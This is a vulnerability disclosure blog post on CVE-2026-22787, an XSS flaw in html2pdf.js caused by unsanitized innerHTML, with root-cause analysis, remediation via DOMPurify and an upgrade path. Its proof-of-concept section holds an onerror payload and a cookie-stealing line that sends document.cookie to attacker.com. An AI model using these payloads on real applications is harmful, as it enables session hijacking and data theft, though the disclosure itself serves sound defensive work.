CVE-2026-22787: Cross-Site Scripting (XSS) Vulnerability in html2pdf.js Library

17 January 2026 • Yunus Aydın • 7 min read

A Cross-Site Scripting (XSS) vulnerability has been identified in the html2pdf.js library. The vulnerability exists due to unsanitized user input being directly assigned to the `innerHTML` property. This allows attackers to execute arbitrary JavaScript code in the context of the application, potentially leading to session hijacking, data theft, and unauthorized actions.

Vulnerability Summary

Registered as **CVE-2026-22787**, this vulnerability affects html2pdf.js library versions `< 0.14.0`. The vulnerability occurs because the library adds insufficiently sanitized inputs to the DOM when a string source is used.

Affected versions: `< 0.14.0`
Patched version: `0.14.0`
CVSS Score: 8.7 (High)

Vulnerability Details

Affected Component

File: `src/worker.js`
Line: 71

Link: GitHub - worker.js#L71

Function: `Worker.prototype.from()`

Vulnerable Code

```
case 'string':  return this.set({ src: createElement('div', {innerHTML: src}) });
```

Root Cause

When `html2pdf()` is called with a string parameter, the library directly assigns the user-controlled input to the `innerHTML` property of a newly created `div` element without any sanitization. This occurs in the `from()` method of the Worker class.

The problem:

- User input is directly assigned to `innerHTML`
- No sanitization is performed
- Event handlers and other injection vectors work

Attack Vector

1. Attacker provides malicious HTML string containing JavaScript payload
2. html2pdf.js assigns this string to `innerHTML` (line 71, worker.js)
3. Element is appended to the DOM (line 125, worker.js)
4. Browser executes JavaScript when the element is added to the DOM
5. XSS payload runs in the victim's browser context

Partial Mitigation

The library includes a partial mitigation in `src/utils.js` (lines 20-23) that removes `<script>` tags:

```
if (opt.innerHTML) {
    el.innerHTML = opt.innerHTML;
    var scripts = el.getElementsByTagName('script');
    for (var i = scripts.length; i-- > 0; null) {
        scripts[i].parentNode.removeChild(scripts[i]);
    }
}
```

However, this mitigation is insufficient as it only removes `<script>` tags but does not protect against:

- Event handlers (`onerror`, `onclick`, `onload`, etc.)
- SVG with embedded scripts
- `<iframe>` with JavaScript URLs
- Other HTML injection vectors

Proof of Concept

PoC 1: Basic XSS (Alert)

Payload:

```
<img src=x onerror="alert(document.cookie)">
```

Exploitation Code:

```
const maliciousHTML = '<img src=x onerror="alert(document.cookie)">';

html2pdf()
    .from(maliciousHTML)
    .set({
        margin: 1,
```

```
        filename: 'xss-test.pdf',
        image: { type: 'jpeg', quality: 0.98 },
        html2canvas: { scale: 2 },
        jsPDF: { unit: 'in', format: 'letter', orientation: 'portrait' }
    })
    .save();
```

Result: An alert dialog appears when the PDF generation process begins, confirming XSS execution.

PoC 2: Cookie Theft

A more realistic attack scenario:

```
const maliciousHTML = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie

html2pdf()
    .from(maliciousHTML)
    .save();
```

This payload sends the victim's cookies to the attacker's server.

Technical Analysis

Code Flow

1. **Input Reception** (`src/index.js:20`)

```
return worker.from(src).save();
```

2. **String Processing** (`src/worker.js:71`)

```
case 'string':  return this.set({ src: createElement('div', {innerHTML: src}) });
```

3. **DOM Injection** (`src/worker.js:125`)

```
document.body.appendChild(this.prop.overlay);
```

4. **XSS Execution**
    1. When `innerHTML` is set, browser parses HTML
    2. Event handlers (e.g., `onerror`) are registered
    3. When element is appended to DOM, events fire
    4. JavaScript executes in page context

Why Current Mitigation Fails

The script tag removal in `src/utils.js` is insufficient because:

1. **Event Handlers Bypass:** Event handlers like `onerror` , `onclick` , `onload` are not script tags
2. **SVG Vectors:** SVG elements can contain embedded JavaScript
3. **Iframe Vectors:** Iframes with JavaScript URLs can execute code
4. **Timing:** Script removal happens after `innerHTML` assignment, but event handlers are already registered

Browser Behavior

Modern browsers execute JavaScript when:

- `innerHTML` is set with HTML containing event handlers
- Elements with event handlers are appended to the DOM

- This occurs **before** html2canvas processes the element

Impact Assessment

This vulnerability creates serious security risks in applications using html2pdf.js:

Potential Attack Scenarios

1. **Session Hijacking**: Stealing cookies
2. **Data Theft**: Sending page content to attacker
3. **Keylogging**: Capturing user input
4. **Phishing**: Injecting fake forms
5. **CSRF**: Triggering unauthorized actions

Real-World Impact

- **E-commerce sites**: User data at risk during PDF invoice generation
- **Reporting systems**: Vulnerability when creating PDFs from user input
- **Form processing**: Risk when creating PDFs from user form data

Remediation

Solution: Sanitization with DOMPurify

Always sanitize user input:

```
const DOMPurify = require('dompurify');
const sanitizedHTML = DOMPurify.sanitize(userInput);
html2pdf().from(sanitizedHTML).save();
```

Update

Update to html2pdf.js version **0.14.0**. This version uses DOMPurify to sanitize text sources.

Update command:

```
npm update html2pdf.js
```

Workaround

For users of earlier versions, all text inputs must be safely sanitized before using them as a source in html2pdf.js.

Example workaround:

```
import DOMPurify from 'dompurify';

function safeHtml2Pdf(html) {
    const sanitized = DOMPurify.sanitize(html);
    return html2pdf().from(sanitized).save();
}
```

Disclosure Timeline

- **Initial Report**: Reported to GitHub Security Advisory
- **CVE Assignment**: CVE-2026-22787
- **Fix**: html2pdf.js@0.14.0
- **GitHub Advisory**: GHSA-w8x4-x68c-m6fc

Conclusion

CVE-2026-22787 is a serious XSS vulnerability in the html2pdf.js library. The vulnerability occurs due to unsanitized user input being assigned to `innerHTML`. The library's partial

mitigation (removing `<script>` tags) is insufficient because it does not protect against event handlers and other injection vectors.

Key takeaways:

- User input should always be sanitized
- Using `innerHTML` creates security risks
- Partial mitigations may be insufficient
- Sanitization libraries like DOMPurify should be used
- Keeping libraries updated is critical

This vulnerability demonstrates how important it is to safely handle user input in web applications. Developers should always perform sanitization before adding user data to the DOM.

Related Content

- SQL Injection Vulnerability: Security Issue in GeoPandas to_postgis() Function
- CVE-2025-66019: LZW Decompression DoS Vulnerability in pypdf

References:

- GitHub Security Advisory - GHSA-w8x4-x68c-m6fc
- CVE-2026-22787
- html2pdf.js GitHub Repository

Related Posts

If Nobody Reads Code, Why Not Write in Assembly? So Here's Redis in Assembly

Everyone’s writing code these days. AI assistants generate functions, classes, entire applications. But here’s the thing: nobody’s reading it. We’re...

14 February 2026

Cross-Site WebSocket Hijacking in Bokeh: CVE-2026-21883

During a security review of Bokeh, I found a vulnerability in the WebSocket origin validation logic that allows Cross-Site WebSocket...

24 January 2026

Game Hacking 101: Memory Manipulation in Mount and Blade Warband

Game hacking opens a window into how games store and manage data in memory. By understanding memory manipulation, you can...

03 January 2026

← Back to home

All posts →

RSS Feed